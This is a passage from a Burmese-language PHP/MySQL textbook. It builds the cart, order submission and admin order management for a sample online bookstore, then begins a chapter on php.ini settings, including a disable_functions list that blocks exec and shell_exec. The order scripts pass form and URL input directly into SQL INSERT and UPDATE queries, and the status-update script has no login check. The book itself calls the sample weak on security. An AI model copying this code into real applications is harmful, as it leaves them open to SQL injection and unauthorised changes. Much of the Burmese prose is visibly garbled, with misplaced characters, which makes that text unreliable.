ဖေို့ သတ် မတှထ်ားပါတယ။်  <body>  အတငွး်ထကဲြ Class ကုိြ sidebar လ့ုိသတမ်တှထ်ားတဲ့ <div> မာှိတာ့
index.php ကုိြ  ပပနသွ်ားနိုငတ်ဲ့  Continue  Shopping ဆုိတဲ့  Link  နဲ့  လုိအပလ်ို့  ဝယ်ယူဖေို့ိ ရေးွချယ်ထားတဲ့
စာအုပစ်ာရေငး်ကုိြ ပပနဖ်ေျက်ြ လိုတဲ့အခါ ဖေျက်ြနိုင်ိ စဖေို ့ Clear Cart ဆုိတဲ့ Link တို့ထည့်သွင်းိပးထားပါတယ်။ 

Class  ကုိြ  main လိုိ့ ပးထားတဲ့  <div> အတက်ွြ  cart Session  ထမဲာှ မတှသ်ားထားတဲ့အချက်ြအလက်ြိတကုိွြ
ရေယူပပီး  <table> တစ်ခနုဲ့ိ ဖောပ်ပိပးထားပါတယ်။  cart Session  ထမဲာှမတှသ်ားထားတာကြ  ဝယ်ယူလိုတဲ့
စာအုပရ်ေဲ့  ID  သာပဖေစ်လို့ စာအုပရ်ေဲ့  Title  နဲ့  ိဈေးနှုနး်ကြို  ID  အသံုးပပု ရေယူိပးထားရေပါတယ်။ လက်ြစနဲ့ကြျသင့်ိ ငွ
ပမာဏကုိြလညး် တက်ွြချက်ြိဖောပ်ပိပးထားပါိသးတယ်။ <table> ရေဲ့ိအာက်ြမာှိတာ့ Order Form တစ်ခလုညး်
ထည့်သွငး်ိပးထား ပါတယ်။ မာှယူလိုသူရေဲ့  name, email, phone နဲ့ address ိတကုိွြပဖေည့်သွင်းိပးရေမာှပါ။

ရေရေှိမယ့်ရေလဒန်မနူာကုိြ ပုံ (၇-ထ) မာှိဖောပ်ပထားပါတယ်။
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ပုံ (၇-ထ) Online Book Store - View Cart

Order Form ရေဲ့  action မာှ submit-order.php ကုိြ ညွှနး်ထားပါတယ။် submit-order.php အတက်ွြ
လိုအပတ်ဲ့ Code ိတမွိရေးသားမ ီclear-cart.php ထမဲာှိပးထားတဲ့ Code ိတကုိွြ ကူြးယူထည့် သွငး်ိပးပါ။

<?php
  session_start();
  unset($_SESSION['cart']);
  header("location: index.php");
?>

ထးူထးူပခားပခားကကီြးမဟတုပ်ါဘူး။  cart Session  ကုိြပယ်ဖေျက်ြလိုက်ြပခင်းပဖေစ်ပါတယ်။  ဆက်ြလက်ြပပးီ  submit-
order.php မာှိပးထားတဲ့ Code ိတကုိွြ ကူြးယူိရေးသားိပးပါ။



Professional Web Developer - အခန်း (၇) PHP and MySQL 287

<?php
  session_start();
  include("admin/confs/config.php");

  $name = $_POST['name'];
  $email = $_POST['email'];
  $phone = $_POST['phone'];
  $address = $_POST['address'];

  mysqli_query($conn, "INSERT INTO orders 
    (name, email, phone, address, status, created_date, modified_date) 
    VALUES ('$name','$email','$phone','$address', 0, now(), now()) ");

  $order_id = mysqli_insert_id($conn);
  foreach($_SESSION['cart'] as $id => $qty) {
    mysqli_query($conn, "INSERT INTO order_items 
      (order_id, book_id, qty) VALUES ($order_id,$id,$qty)
    ");
  }

  unset($_SESSION['cart']);
?>

<!doctype html>
<html>
<head>
  <title>Order Submitted</title>
  <link rel="stylesheet" href="css/style.css">
</head>

<body>
  <h1>Order Submitted</h1>
  
  <div class="msg">
    Your order has been submitted. We'll deliver the items soon.
    <a href="index.php" class="done">Book Store Home</a>
  </div>

  <div class="footer">
    &copy; <?php echo date("Y") ?>. All right reserved.
  </div>
</body>
</html>

Order Form ကြိပးပို့လာတဲ့ အမည၊်  အီးိမးလ၊် ဖေနုး်နဲ့ လပိစ်ာတို့ကုိြ orders Table ထဲကုိြ INSERT Query နဲ့
ထည့်သွငး်ိပးလိုက်ြပခငး်ပဖေစ်ပါတယ်။  ဆက်ြလက်ြအသံုးပပုထားတဲ့  mysql_insert_id() Function  ကြိတာ့
လက်ြတစ်ိလာ  ထည့်သွင်းလိုက်ြတဲ့  Record  ရေဲ့  Auto  Increment  ID  ကုိြ  ရေယူိပးပါတယ်။  ဒါိအကြာင့်
$order_id ထမဲာှ လက်ြရေှိထည့်သွငး်လိုက်ြတဲ့ Order ရေဲ့  ID ရေှိိ နမာှပဖေစ်ပါတယ်။ 

ိနာက်ြတစ်ဆင့်မာှ  cart Session  ထဲကြအချက်ြအလက်ြိတကုိွြ  Loop  လပုပ်ပးီ  order_items Table  ထဲကုိြ
ထည့်သွငး်ိပးလိုက်ြပါတယ်။ အ့ဲဒလီိုထည့်သွငး်ဖေိုအ့တက်ွြမာှယူလိုတဲ့ စာအုပရ်ေဲ့  ID နဲ့ မာှယူလိုတဲ့အိရေအတက်ွြတို့ကြ
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Session ထဲကြိနရေရေှိမာှပဖေစ်ပပးီ တွဲဖေက်ြထည့်သွငး်ရေမယ့်  Order ID ကြိတာ့  $order_id Variable ထဲမာှ ရေှိိ န
ပခငး် ပဖေစ်ပါတယ်။ တနဖ်ေိုးိတကုိွြ သူ့  Table နဲ့သူ ထည့်သွငး်ိပးပပးီိနာက်ြ၊  Order Submit လုပပ်ပးီသွားိအကြာငး်
Message တစ်ခကုိုြိဖောပ်ပိပးပါတယ်။

ကြျွန်ိ တာတ်ို့တည်ိ ဆာက်ြလိုတဲ့  Shopping  Cart  လုပ်ိ ဆာငခ်ျက်ြလညး်  ရေရေှိသွားပပပီဖေစ်ပါတယ။်  စာအုပတ်စ်ချို ့
ိရေးွချယ်ပပးီ Order မာှယူစမး်သပအ်ကြည့်နိုငပ်ါပပ။ီ

7.7 - Online Book Store - Order Management
ိနာက်ြဆံုးအိနနဲ့  တစ်ခုိ လာက်ြပဖေည့်စွက်ြချငပ်ါိသးတယ်။  Admin  Interface  မာှ  Order  ိတကုိွြ  စီမနံိုငတ်ဲ့
လပု်ိ ဆာငခ်ျက်ြကြ မထည့်သွငး်ရေိသးပါဘးူ။ ဒါိအကြာင့်  admin Folder  ထကဲြ  orders.php မာှ  ိပးထားတဲ့
Code ကုိြ ိရေးသားိပးပါဦး။

<?php include("confs/auth.php") ?>

<!doctype html>
<html>
<head>
  <title>Order List</title>
  <link rel="stylesheet" href="css/style.css">
</head>
<body>

<h1>Order List</h1>
<ul class="menu">
  <li><a href="book-list.php">Manage Books</a></li>
  <li><a href="cat-list.php">Manage Categories</a></li>
  <li><a href="orders.php">Manage Orders</a></li>
  <li><a href="logout.php">Logout</a></li>
</ul>

<?php
  include("confs/config.php");
  $orders = mysqli_query($conn, "SELECT * FROM orders");
?>

<ul class="orders">
  <?php while($order = mysqli_fetch_assoc($orders)): ?>
    <?php if($order['status']): ?>
      <li class="delivered">
    <?php else: ?>
      <li>
    <?php endif; ?>

      <div class="order">
        <b><?php echo $order['name'] ?></b>
        <i><?php echo $order['email'] ?></i>
        <span><?php echo $order['phone'] ?></span>
        <p><?php echo $order['address'] ?></p>
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        <?php if($order['status']): ?>
          * <a href="order-status.php?id=<?php echo $order['id'] ?>&status=0">
          Undo</a>
        <?php else: ?>
          * <a href="order-status.php?id=<?php echo $order['id'] ?>&status=1">
          Mark as Delivered</a>
        <?php endif; ?>
      </div>
      <div class="items">
        <?php
          $order_id = $order['id'];
          $items = mysqli_query($conn, "SELECT order_items.*, books.title 
           FROM order_items LEFT JOIN books ON order_items.book_id = books.id 
           WHERE order_items.order_id = $order_id
          ");

          while($item = mysqli_fetch_assoc($items)):
        ?>

        <b>
          <a href="../book-detail.php?id=<?php echo $item['book_id'] ?>">
            <?php echo $item['title'] ?>
          </a>
          (<?php echo $item['qty'] ?>)
        </b>

        <?php endwhile; ?>

      </div>
    </li>

  <?php endwhile; ?>

</ul>
</body>
</html>

အိပါ်ဆံုးမာှ  အခငွ့်ရေှသူိသာဝင်ိ ရောက်ြနိုင်ိ အာင်  auth.php ကုိြ  Include  လုပ်ိ ပးထားပါတယ်။  ဆက်ြလက်ြပပးီ
orders Table  ထမဲာှရေှိိ နတဲ့  အချက်ြအလက်ြိတကုိွြ  SELECT Query  နဲ့ရေယူပပီး  ိဖောပ်ပထားပါတယ်။  အ့ဲဒလီို
ိဖောပ်ပရေငး်နဲ့  လက်ြရေှိ   Order  နဲ့သက်ြဆိငုတ်ဲ့  မာှယူထားတဲ့စာအုပ်ိ တကုိွြလညး်  SELECT Query  ိနာက်ြတစ်ခနုဲ့
order_items Table ထကဲြိနထတုယူ်ိဖောပ်ပထားပါတယ။် order_items Table ထမဲာှကြ Book ID ကုိြသာ
ထည့်သွငး် သိမး် ဆညး်ထားတာပဖေစ်လို့ စာအုပအ်မည် တခါတညး်ပါဝငလ်ာိစဖေို့ အတက်ွြ  books Table နဲ့ JOIN
ပပးီ ရေယူိဖောပ်ပထားပခင်း ပဖေစ်ပါတယ်။

Order တစ်ခကုိုြ ိပးပို့ပပီးမပပးီ အိပခအိနကုိြ orders Table ထကဲြ status Column မာှ ထည့်သွငး် မတှသ်ား
ဖေို့ စီမံ ထားပါတယ်။  status ရေဲ့တနဖ်ေိုး  0  ဆုိရေင် မိပးပို့ရေိသးတဲ့  Order  အပဖေစ်မတှယူ်မာှပဖေစ်ပပးီ  1  ဆုိရေင်ိ တာ့
ိပးပို့ပပးီ တဲ့  Order လ့ုိမတှယူ်မာှပါ။ ဒါိအကြာင့် Order ိတကုိွြ <li> Element နဲ့ရုိကြထ်တုတ်ဲ့ အခါ status ိပါ်
မတူည်  ပပးီ  delivered ဆုိတဲ့  Class  ကုိြ  လိုအပရ်ေငထ်ည့်သွငး်ိပးသွားိအာင်  အခလုိုိ ရေးသားထားတာကုိြ
သတပိပုပါ။ 
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█ <?php if($order['status']): ?>
█   <li class="delivered">
█ <?php else: ?>
█   <li>
█ <?php endif; ?>

ဒလီို  Class  ခွဲိ ပးထားတဲ့အတက်ွြ ိပးပိုပပီးပဖေစ်တဲ့  Order  ိတနွဲ့  မိပးပိုရ့ေိသးတဲ့  Order  ိတကုိွြ ကဲွြကဲွြပပားပပား
ပမငသ်ာ ိအာင် CSS နဲ့ ိရေးသားနိုင်ိ စမာှပဖေစ်ပါတယ်။ ပပးီိတာ့ ိပးပို့ပပီးိအကြာငး် မတှသ်ားနိုငဖ်ေို့အတက်ွြ  Mark as
Delivered ဆုိတဲ့ Link တစ်ခကုိုြ သက်ြဆုိငရ်ော Order နဲ့အတတူွဲဖေက်ြထည့်သွငး်ိပးထားပါိသးတယ်။ 

█ <?php if($order['status']): ?>
█   * <a href="order-status.php?id=<?php echo $order['id'] ?>&status=0">
█     Undo
█   </a>
█ <?php else: ?>
█   * <a href="order-status.php?id=<?php echo $order['id'] ?>&status=1">
█     Mark as Delivered
█   </a>
█ <?php endif; ?>

ဒလီိုထည့်သွင်းိပးထားတဲ့အတက်ွြ မိပးပို့ရေိသးတဲ့ Order ိတနွဲ့အတူ Mark as Delivered ဆုိတဲ့ Link တွဲဖေက်ြ
ပါဝင်ိ နမာှပဖေစ်ပပးီ ိပးပိုပ့ပးီပဖေစ်တဲ့  Order  ိတမွာှိတာ့  Undo ဆုိတဲ့  Link တွဲဖေက်ြိပးမာှပဖေစ်ပါတယ်။ Link နစ်ှခု
လုံးကြ order-status.php ကုိြ ညွှနး်ထားိပးမယ့် တွဲဖေက်ြိပးမယ့် URL Query String ကြိတာ ့အနညး်ငယ်
ကဲွြပပားပါတယ်။ Mark as Delivered Link ကြ status=0 ဆုိတဲ့ တနဖ်ေိုးကုိြတွဲဖေက်ြိပးပပးီ Undo Link မာှိတာ့
status=1 ဆုိတဲ့ တနဖ်ေိုးကုိြ တဲွဖေက်ြိပးထားပါတယ်။ မစမး်သပခ်ငမ်ာှ order-status.php အတက်ွြိပးထား
တဲ့ Code ကုိြ ကူြးယူထည့်သွငး်ိပးပါဦး။

<?php
  include("confs/config.php");
  $id = $_GET['id'];
  $status = $_GET['status'];

  mysqli_query($conn, "UPDATE orders SET
    status=$status, modified_date=now() WHERE id=$id
  ");

  header("location: orders.php");
?>

URL Query String နဲ့အတပူါဝငလ်ာတဲ့  Order ID နဲ့ Status တို့ကုိြရေယူပပီး orders Table ရေဲ့  status Column
ကုိြ  Update  လပု်ိ ပးမာှပဖေစ်ပါတယ်။ အခခုျနိမ်ာှ  Admin  အပဖေစ်  Login  ဝငပ်ပးီ  Order  စီမပံခငး်ကြို စမး်သပအ်ကြည့်
မယ် ဆုိရေင် ပုံ (၇-ဒ) မာှိဖောပ်ပထားသလို ိတွ့ ပမင်ိ နရေမာှပဖေစ်ပါတယ်။
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ပုံ (၇-ဒ) Online Book Store - Managing Orders

ကြျွန်ိ တာတ်ို့နမနူာအပဖေစ်တည်ိ ဆာက်ြလိုတဲ့  Online Book Store  ိလးတစ်ခုိ တာရ့ေရေှိသွားပါပပ။ီ နမနူာ  Project
တစ်ခသုာပဖေစ်လို့ လိုအပခ်ျက်ြတစ်ချို ့ိတာ့ ရေှိိ နပါိသးတယ်။ ဥပမာ Form ိတကုိွြ အချက်ြအလက်ြမနှမ်နှပ်ဖေည့်မပဖေည့်
Validate စစ်ိပးဖေို့လိုပါတယ်။  Cover Image မရေှိတဲ့ အိပခအိနကုိြ စစ်ိဆးပပးီ မရေှိရေင်  Default Image တစ်ခု
ိဖောပ်ပ သင့်ပါ တယ်။ စာအုပ်ိ တသိွပမ်ျားလာတဲ့အခါ Screen နဲ့ မဆန့်ပဖေစလ်ာမာှမို့  စာမျက်ြနာှနပံါတစ်ဉန်ဲ့ိ ဖောပ်ပတဲ့
Paging လုပ် ိဆာငခ်ျက်ြိတ ွထည့်သွငး်ိပးသင့်ပါတယ်။ စာအုပဝ်ယ်ယူလိုသူကြ ဝယ်ယူလိုတဲ့စာအုပကုိ်ြ ရုိက်ြထည့်
ရောှိဖေနွိုငတ်ဲ့ Search လုပ်ိ ဆာငခ်ျက်ြိတ ွထည့်သွင်းိပးသင့်ပါတယ်။ ပပးီိတာ့ Publisher ကြ ဘယ်သူ၊ ဘယ်ိနမ့ာှ
Publish လုပခ်ဲ့တယ်၊ ISBN No. စတဲ့အချက်ြ အလက်ြိတွ့  ပဖေည့်စွက်ြိပးနိုငရ်ေငလ်ညး် ပိုပပည့်စံုသွားမာှပါ။ ဒထီက်ြ
မကြပပည့်စံုဖေို့  ဆုိရေင်ိ တာ့  စာအုပ်ိ တကုိွြ  Star  Rating  လုပန်ိုငတ်ဲ့လပု်ိ ဆာငခ်ျက်ြိတ၊ွ  Review  ိရေးိပးနိုငတ်ဲ့
လပု်ိ ဆာငခ်ျက်ြိတလွညး်  ပဖေည့်စွက်ြနိုငပ်ါတယ်။  အငတ်ာနက်ြကြိန တစ်ခါတညး်  ိငွိ ပးိချနိုင်ိ အာင်  ပဖေည့်စွက်ြ
ိပးလိုက်ြမယ် ဆုိရေင်ိ တာ ့အားလုံး ပပးီပပည့်စံုသွားမာှပဖေစ်ပါတယ်။

မတ်ှချကြ် ။ ။  ဒီ  Online Book Store နမနူာ  Source Code ကြို  http://eimaung.com/pwd-rc/ မာှ  Download  ရေယနူိုငပ်ါ
တယ။် အထကြမ်ာှိပပာခဲ့တ့ဲ ပဖေည့်စကွြလု်ပ်ိ ဆာငခ်ျကြ်ိ တွထဲကြ တစခ်ျို့ကြို တစခ်ါတညး်ပဖေည့်စကွြထ်ားိပးပါတယ။်

Conclusion
ဒအီခန်းမာှိဖောပ်ပခဲ့တဲ့နမနူာဟာ PHP နဲ့  MySQL Database  ချတိဆ်က်ြပခင်းသဘာဝကုိြ ပမငသ်ာိစဖေို့ အတက်ြနိုင်
ဆံုး  ရုိးစင်းိအာင်  အဓကိြထားိဖောပ်ပခဲ့ပခငး်ပဖေစပ်ါတယ်။  လက်ြိတွ့မာှ  ကြျွန်ိ တာတ်ို့ဖေနတ်းီခဲ့တဲ့နမနူာကြ လံုပခုံိရေး
ပိုငး် အိတာ်ိ လးအားနညး်ပါိသးတယ်။ တစ်ချို ့ကိြစ္စ တလွညး် ထပခ်ါထပခ်ါလပု်ိ နရေပပးီဖေွဲစည်းပုံ စနစ်မကြျသလို
လညး် ပဖေစ်ိနပါ ိသးတယ်။ လုံပခုံိရေးအားိကြာငး်ိအာင် ဘယ်လိုပပငဆ်ငသ်င့်သလဆုိဲတာကုိြ  အခနး်  (၁၅) Web
App  Security မာှ  ပဖေည့်စွက်ြိဖောပ်ပိပးပါမယ်။  ိရေးသားပုံ  ပိုပပးီစနစ်ကြျိစဖေိုအ့တက်ွြ  သိရေှိထားရေမယ့်   MVC
အိအကြာငး်ကုိြ ိတာ ့အခန်း (၁၁) Model-View-Collection မာှ ိဖောပ်ပိပးသွားမာှပပဲဖေစ်ပါတယ်။

http://eimaung.com/pwd-rc/


          ပံုနိှပ်မူစာအုပ်               

ဤစာအပ်ု၏ ပံုနိှပ်မူကြို ရေန်ကြန်ု၊ မန္တ လးနှင့်               

မံုရောွပမို့တုိရ့ေှိ စာအပ်ုဆိုင်များတွင် (၁၀,၀၀၀) ကြျပ်ပဖေင့်               

ဝယယ်နုိူင်ပါသည။် ဆက်ြသွယရ်ေန် - လန်ွိဆးပမိုင်စာိပ               

(၀၉) ၅၀ ၇၆၀ ၂၄   (၀၉) ၂၅၂ ၄၂၆ ၃၈၈               
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အခနး် (၈) PHP and Apache Settings
URL Rewrite နှင့် အပခားသတိပပုမှတ်သားဖွေယ် Setting များ

Web App Project  ိတကုိွြ  Development  နဲ့  Production  ဆုိပပီး  အိပခအိနနစှမ်ျို း  ခွဲအကြည့်ဖေို့လိုအပပ်ါတယ်။
ကုိြယ့စ်က်ြထမဲာှ ိရေးသားစမး်သပ်ိ နစဉ် ထားရေှိရေမယ့် Setting ိတနွဲ့ အများအသံုးပပုနိုငဖ်ေို့  Release လုပတ်ဲ့အချနိ်
Server ကွြနပ်ျူတာမာှ သတမ်တှထ်ားရေမယ့် Setting ိတ ွတညူမီာှမဟတုပ်ါဘးူ။ ဥပမာ - ိရေးသားစမ်းသပလ်ိုအပ်
တဲ့  Warning  ိတ ွ Error  ိတကုိွြ  တတိကိြျကြျပပည့်ပပည့်စံုစံု  ိဖောပ်ပိပးဖေို့လိုအပပ်ါတယ်။  ဒီိ တာမ့ှ  အမာှးရောှိဖေရွေ
လယ်ွကူြပပးီ လိုအပသ်လို ပပငဆ်ငမ်ှု တလွညး်ပပုလပုန်ိုငမ်ာှပါ။ ဒါိပမယ့် အများအသံုးပပုဖေို့ိ ပးထားတဲ့ အချနိမ်ာှ အ့ဲဒီ
လို  Warning ိတ ွError ိတ ွကုိြ ိနရောတိုင်းမာှိဖောပ်ပိနမယ်ဆုိရေင် အသံုးပပုသူအတက်ွြ စိတအ်ိနာှက်ြအယှက်ြပဖေစ်
ိစနိုငသ်လို၊  လံုပခုံိရေး  ပပဿနာိတလွညး်  ပဖေစ်ိပါ် လာိစနိုငပ်ါတယ်။  ကြျွန်ိ တာတ်ို့  ိရေးသားစမး်သပ်ိ နတဲ့
Development Setting ိတအွတိုငး် Production Server မာှ သွားထားလို့မရေိတာပ့ါဘူး။ သူ့ိ နရောနဲ့သူ သင့ိ် တာ်
ိအာင ်ခွဲပခားသတမ်တှထ်ားရေမာှ ပဖေစ်ပါတယ်။

XAMPP ဟာ မလူကြတညး်ကြ Development  နဲ့သင့်ိ တာတ်ဲ့  Setting ိတကုိွြ ထည့်သွငး်ိပးပပးီပဖေစ်ပါတယ။် ဒါ
ိအကြာင့် ကြျွန်ိ တာတ်ို့ အထးူပပငဆ်ငဖ်ေိုမ့လိုပဲ အသင့်ိ ရေးသားစမး်သပန်ိုငပ်ခင်းပဖေစ်ပါတယ်။ ဒါိပမယ့် Development
အတက်ွြရေညရ်ေယ်ွထားတဲ့  XAMPP ကုိြ  Production Server မာှ ဒအီတိုငး်သွားသံုးရေင် အဆင်ိ ပပမာှမဟတုပ်ါဘးူ။
သူကြ Production အတက်ွြ Design လပုထ်ားတာ မဟတုတ်ဲ့အတက်ွြ ပဖေစ်ပါတယ်။ သူမ့လူ Default Setting ိတွ
အတိုငး်မထားပဲ  Production  နဲ့ကုိြက်ြညီိ အာင် ပပငဆ်င်ိ ပးဖေိုလ့ိုအပပ်ါတယ။်  Production  အတက်ွြ အိကြာငး်ဆံုး
ကြိတာ့  Apache,  PHP,  MySQL  တို့ကုိြ  သီးပခားစီ  Install  လုပပ်ပးီ  Setting  ိတ ွ Configuration  ိတကုိွြ
ကုိြယ်တိုင် အိသးစိတ ်သတမ်တှန်ိုငရ်ေင်ိ တာ ့အိကြာငး်ဆံုးပဖေစ်မာှပါ။ 

ကြျွန်ိ တာတ်ို့မာှ  လက်ြရေှိ  XAMPP  အသင့်  Install  လုပထ်ားပပးီသားရေှိိ နတဲ့အတက်ွြ  သိရေှိသင့်တဲ့  Setting  နဲ့
Configuration ိတကုိွြ XAMPP ိပါ်အိပခခပံပးီိတာ့ ိဖောပ်ပိပးသွားပါမယ။် Apaceh, PHP နဲ့ MySQL တို့ကုိြ
သီးပခားစီ Install လပုမ်ယ်ဆုိရေင် Setting File များတညရ်ေှိတဲ့ Location ိတကဲွွြပပားသွားမာှပဖေစ်ပါတယ်။ ဒါိပမယ့်
Setting သတမ်တှပ်ုံ သတမ်တှန်ညး်ိတကွြိတာ ့အတတူပူပဲဖေစ်မာှပါ။
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8.1 - PHP Configuration File
PHP နဲ့ ပတသ်က်ြတဲ့ Setting ိတကုိွြ php.ini လ့ုိအမညရ်ေတဲ့ Configuration File တစ်ခနုဲ့ စုစညး်ထားိလရ့ေှိပါ
တယ်။  XAMPP Windows  မာှဆုိရေင်  php.ini ရေဲ့တည်ိ နရောကြ  C:\xampp\php\php.ini ပဖေစ်ပါတယ်။
XAMPP Linux  မာှဆုိရေင်ိ တာ့  /opt/lampp/etc/php.ini ပဖေစ်ပါတယ်။ အ့ဲဒီ  php.ini ဖေိုငကုိ်ြ  Code
Editor နဲ့ ဖေငွ့်အကြည့်လိုက်ြရေင ်ိအာက်ြပါအတိုငး် ိရေးသားထားတာကုိြ ိတွ့ရေမာှ ပဖေစ်ပါတယ။်

[PHP] 

;;;;;;;;;;;;;;;;;;; 
; About php.ini   ; 
;;;;;;;;;;;;;;;;;;; 
; PHP's initialization file, generally called php.ini, is responsible for 
; configuring many of the aspects of PHP's behavior. 

… 

; Enable the PHP scripting language engine under Apache. 
; http://php.net/engine 
engine = On
… 

; Default Value: On 
; Development Value: Off 
; Production Value: Off 
; http://php.net/short-open-tag 
short_open_tag = Off 

; Allow ASP-style <% %> tags. 
; http://php.net/asp-tags 
asp_tags = Off

… 

ိရေှ့ ဆံုးကြ Semi-colon နဲ့စထားတဲ့လိုငး်ိတဟွာမတှခ်ျက်ြိတ ွပဖေစ်ပါတယ်။ Setting အိနနဲ့ထည့်သွင်း အလပုလ်ပု်
မာှ  မဟတုပ်ါဘူး။  Setting  ိတရွေဲ့အဓပိ္ပါယ်ကုိြရေငှး်ပပထားတဲ့  ရေငှး်လငး်ချက်ြများနဲ့  အပခားမတှခ်ျက်ြများသာပဖေစ်ပါ
တယ်။  Semi-colon  နဲ့မစပဲ  ိရေးသားထားတဲ့လိုငး်ိတကွြသာ  Setting  သတမ်တှခ်ျက်ြိတပွဖေစ်ပါတယ်။  သတပိပု
ိလလ့ာသင့်တဲ့ Setting တစ်ချို ့ကုိြ ိရေးွချယ်ိဖောပ်ပိပးလိုက်ြပါတယ်။

PHP Short Open Tags

short_open_tag = On

ပထမဆံုးိဖောပ်ပချငတ်ာကြိတာ့ short_open_tag Setting ပဖေစ်ပါတယ်။ ဒီ Setting အတက်ွြတနဖ်ေိုးအိနနဲ့ On
သုိမ့ဟတု်  Off ကုိြသတမ်တှ်ိ ပးနိုငပ်ါတယ်။ Short Open Tag ဆုိတာဒလီိုပါ။ ကြျွန်ိ တာတ်ို့  PHP Code ိတကုိွြ
<?php အဖေငွ့်နဲ့  ?>  အပတိအ်တငွ်းမာှိရေးသားအကြရေပါတယ်။ အဖေငွ့်အိနနဲ့  <?php လို့ အပပည့်အစံုိရေးမယ့်အစား
<? နဲ့ <?= တို့ကုိြ အတိုိ ကြာက်ြအပဖေစ် အသံုးပပုနိုငပ်ါတယ။် ဒါိပမယ့် short_open_tag Setting တနဖ်ေိုးကုိြ On
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လို့  သတမ်တှထ်ားမသှာ  အ့ဲဒအီတိုိ ကြာက်ြိရေးနညး်ိတကုိွြအသံုးပပုနိုငမ်ာှပါ။  short_open_tag တနဖ်ေိုး  Off
သတမ်တှ်  ထားရေင်ိ တာ့  အသံုးပပုနိုငမ်ာှမဟတုပ်ါဘးူ။  အတိုိ ကြာက်ြနစ်ှမျို းမာှ  <? ကြ  <?php လ့ုိအပပည့်အစံု
ိရေးသားပခငး်နဲ့ အဓပိ္ပါယ်အတတူပူပဲဖေစ်ပါတယ်။ ထးူပခားတဲ့ကွြာပခားချက်ြမရေှိပါဘးူ။ ိရေးရေတာတိုတာနဲ့ ရေညှတ်ာပဲ ကွြာ
ပါတယ်။  <?= ကြ ိတာ့  Output Tag  လ့ုိိခါ်နိုငပ်ါတယ်။  <?= လ့ုိိရေးသားလိုက်ြပခငး်ကြ  <?php echo လ့ုိ
ိရေးသားပခငး်နဲတ့ညူီ ပါတယ်။  <?= အဖေငွ့်နဲ့ ိရေးသားထားတဲ့ PHP Code ိတကုိွြ သတမ်တှထ်ားတဲ့အလပုလ်ပုယံု်
သာမကြ ရေလဒကုိ်ြလညး် Output အိနနဲ့ တစ်ခါတညး် ိဖောပ်ပိပးသွားမာှပဖေစ်ပါတယ်။

Short Open Tag  ိတကွြ အိတာ်ိ လးအသံုးဝငပ်ါတယ်။  HTML  နဲ့  PHP  ိတကုိွြ ိရောပပးီိရေးရေတဲ့အခါ  Short
Open Tag  ိတသံုွးပခငး်အားပဖေင့်  ိရေးသားထားတဲ့  Code  ိတကုိွြ ပိုမိုသပရ်ေပသွ်ားိစပါတယ်။ ပပးီခဲ့တဲ့  အခနး်မာှ
Category List ိဖောပ်ပဖေို့အတက်ွြ အခလုိုိ ရေးသားခဲ့ပါတယ်။

<ul> 
  <?php while($row = mysqli_fetch_assoc($result)): ?> 
    <li title="<?php echo $row['remark'] ?>">
     [ <a href="cat-del.php?id=<?php echo $row['id'] ?>" class="del">del</a> ]
     [ <a href="cat-edit.php?id=<?php echo $row['id'] ?>">edit</a> ]
     <?php echo $row['name'] ?>
    </li> 
  <?php endwhile; ?> 
</ul> 

အ့ဲဒီ Code ကုိြ Short Open Tag ိတသံုွးပပီး အခလုိုပပုပပငန်ိုငပ်ါတယ်။

<ul> 
  <? while($row = mysqli_fetch_assoc($result)): ?> 
    <li title="<?= $row['remark'] ?>">
      [ <a href="cat-del.php?id=<?= $row['id'] ?>" class="del">del</a> ]
      [ <a href="cat-edit.php?id=<?= $row['id'] ?>">edit</a> ]
      <?= $row['name'] ?>
    </li> 
  <? endwhile; ?> 
</ul> 

Output  ရုိက်ြထတု်ိ ဖောပ်ပိစလိုတဲ့ ိနရောိတမွာှ  echo Keyword  အစား  <?= Tag  အသံုးပပုတာကုိြ သတပိပုပါ။
အလပုလ်ပုပ်ုံ  ိပပာငး်လသွဲားပခငး်မရေှိပါပ။ဲ  မလူအတိုငး်ပအဲလပုလ်ပုမ်ာှပါ။  ဒါိပမယ့်  Code  ကြိတာ့  ပိုမိုကြျစ်လစ်
သပရ်ေပသွ်ားပါတယ။် ိနာက်ြပိုင်း ဆက်ြလက်ြိဖောပ်ပမယ့် PHP Code နမနူာိတမွာှ HTML Structure နဲ့ိ ရောိရေးရေ
တဲ့အခါတိုင်း Short Open Tag ိတ ွအသံုးပပုိဖောပ်ပသွားမာှပါ။
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Disable Functions

disable_functions = exec,shell_exec,unlink,phpinfo

ိနာက်ြ  Setting  တစ်ခကုြိတာ့  disable_functions ပဖေစ်ပါတယ်။ ဒီ  Setting  အတက်ွြတနဖ်ေိုးအိနနဲ့  PHP
Function အမည်ိ တကုိွြ အတွဲလိုက်ြသတမ်တှ်ိ ပးနိုငပ်ါတယ်။ disable_functions အပဖေစ် သတမ်တှထ်ားတဲ့
PHP Function ိတကုိွြ ကြျွန်ိ တာတ်ို့ Code ထဲမာှ ထည့်သွငး်ိရေးသားရေင် အလပုလ်ပုမ်ာှမဟတုပ်ါဘးူ။ ဒီ Setting
ကုိြ လံုပခုံိရေးအတက်ွြ အသံုးပပုအကြိလရ့ေှိပါတယ်။ ကြျွန်ိ တာတ်ို့ App မာှ အသံုးမလိုရေင် Server ရေဲ့  File System ကုိြ
စီမနံိုငတ်ဲ့  PHP Function  ိတကုိွြ ဒီ  Setting  သံုးပပီး ပတိထ်ားနိုငပ်ါတယ။် ဒနီညး်နဲ့  အိအကြာငး်အမျို းမျို းိအကြာင့်
ကြျွန်ိ တာတ်ို့ရေဲ့   App မာှ လုံပခုံိရေး ပပဿနာအကြုံပပးီ အခငွ့မ်ရေှိသူတစ်ိယာက်ြကြ သူတ့ိုကုိ့ြယ်ပိုင်  PHP Script ိတွ
ကုိြ ကြျွန်ိ တာတ်ို့  Server မာှ Run ခငွ့်ရေသွားတဲ့ အခါ၊ ဒီ  Function ိတ ွအသံုးမပပုနိုငတ်ဲ့အတက်ွြ Server ရေဲ့  File
System  ကုိြ  ထခိိုက်ြိစပခငး်မှ  အထိုက်ြအိလျှာက်ြကြာကွြယ်  နိုငပ်ါတယ်။  သတပိပုရေမာှကြ၊  ဒီ  Setting  ဟာ
အိထာက်ြအကူြပပုယံုသာပဖေစ်ပပးီ ဒီ Setting ိအကြာင့် လံုပခုံသွားပပလီို့ ပုံိ သ မမတှသ်င့်ပါဘးူ။

Expose PHP Version (or Not)

expose_php = Off

expose_php Setting  အတက်ွြလညး်  On နဲ့  Off ဆုိတဲ့တနဖ်ေိုးနစ်ှခု  အသုံးပပုနိုငပ်ါတယ်။  On ထားရေင်  Web
